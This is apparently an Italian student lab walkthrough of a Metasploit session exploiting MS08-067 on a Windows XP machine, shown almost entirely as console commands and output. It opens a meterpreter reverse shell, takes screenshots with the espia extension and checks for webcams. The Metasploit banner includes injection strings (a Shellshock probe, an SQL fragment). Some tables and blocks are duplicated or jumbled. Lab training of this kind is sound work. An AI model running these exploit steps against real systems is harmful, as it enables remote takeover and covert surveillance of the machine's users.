

(kali@Host-004)-[~]

\$ msfconsole

Metasploit tip: When in a module, use back to go back to the top level prompt

```
*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;; echo vulnerable*
*Team sorcerer*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuski*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xn00bs
*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*Inf0Usec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*
*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP
*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-x00*BlackCat*AREsx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade*
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*
*B0NG0R3*
*Les Tontons Fl4guezs*
*' UNION SELECT 'password*
*burner_herz0g*
*here_there_be_trolls*
*r4t5_*6rung4nd4*NYUSEC*
*IkastenIO*TWC*balkansec*
*TofuEelRoll*Trash Pandas*
5*
*Astra*Got Schwartz?*tmux*
*\nls*Juicy white peach*
*HackerKnights*
*Pentest Rangers*
*placeholder name*bitup*
*UCASers*onotch*
*NeNiNuMmOk*
*Maux de tête*LalaNG*
*crr0tz*z3r0p0rn*clueless*
```

WELCOME

EXPLOIT	NAME	DESCRIPTION
[msf >]	0	The Listen Address
	1	The Listen Ports
	2	The filename output
	3	payload to be used

```
*Les Cadets Rouges*buf*
*404 : Flag Not Found*
*0CD247*Sparkle Pony*
*Kill$hot*ConEmu*
*;echo"hacked"*
*karamel4e*
*cybersecurity.li*
*OneManArmy*cyb3r_w1z4rd
*
*AreYouStuck*Mr.Robot.0*
*EPITA Rennes*
*guildOfGengar*Titans*
*The Libbyrators*
*JeffTadashi*Mikeal*
*ky_dong_day_song*
*JustForFun!*
*g3tsh3lls0on*
*Phở Đặc Biệt*Paradox*
```

- ▶ Oggi tramite Msfconsole dobbiamo trovare MS08-067 su Windows XP tramite la sessione meterpreter iniziamo usando il comando Search MS08-067

```
*Kugelschreibertester*
*icemasters*
*Spartan's Ravens*
*g0ldd1gg3rs*pappo*
*Les CRACKS*c0dingRabbits*
*2Cr4Sh*RecycleBin*
*ExploitStudio*
*Car RamRod*0*41414141*
*Björkson*FlyingCircus*
*Securifera*hot cocoa*
*n00bytes*DNC&G*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity*
*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*H@wk33*JetJ*OrangeStar*Team Corgi*
*D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu*
*Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTError*
*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*
*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ON0*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0*1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva
*
*Inspiv*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings
*
*chads*SecureShell*EetIetsHekken*CyberSquad*P&K*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*
*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*

REC'D
+ -- ==[ metasploit v6.3.50-dev ]
+ -- ==[ 2384 exploits - 1235 auxiliary - 417 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search MS08-067

Matching Modules
```


Come notiamo ora abbiamo trovato l'exploit MS08-067 segnato di rosa, per usarlo dobbiamo ora usare il comando use 0 per usare l'exploit di windonds ms08_067_netapi

```
Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms08_067_netapi 2008-10-28      great Yes    MS08-067 Microsoft Server Service Relative
Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name      Current Setting  Required  Description
--      -
RHOSTS    RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SMBPIPE   BROWSER         yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.80.104  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Targeting
```

Ora che siamo riusciti ad entrare dentro l'exploit da usare dobbiamo settare rhosts (192.168.80.200) che sarebbe praticamente l'ip della macchina di windows (macchiana su cui attaccare) ora dobbiamo scrivere exploit per far si che inizia l'attacco dell'exploit una volta entrati con meterpreter dobbiamo usare il comadno load espia che serve per abilitare gli screenshot e ora usiamo screengrab -p per fare lo screen

```
RPORT 445 yes sics/using-metasploit.html
SMBPIPE BROWSER yes The SMB service port (TCP)
The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.80.104  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.80.200
rhosts => 192.168.80.200
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.80.104:4444
[*] 192.168.80.200:445 - Automatically detecting the target...
[*] 192.168.80.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.80.200:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.80.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.80.200
[*] Meterpreter session 1 opened (192.168.80.104:4444 -> 192.168.80.200:1047) at 2024-01-17 17:45:02 +0100

meterpreter > load espia
Loading extension espia... Success.
meterpreter > screengrab -p
Screenshot saved to: /home/kali/-p
meterpreter >
```

- Come notiamo in figura siamo riusciti ad avere lo screenshot di windows sulla nostra macchina kali ora dobbiamo usare il comando `webcam_list` per rilevare le webcam ma come vediamo in figura non sono presenti webcam

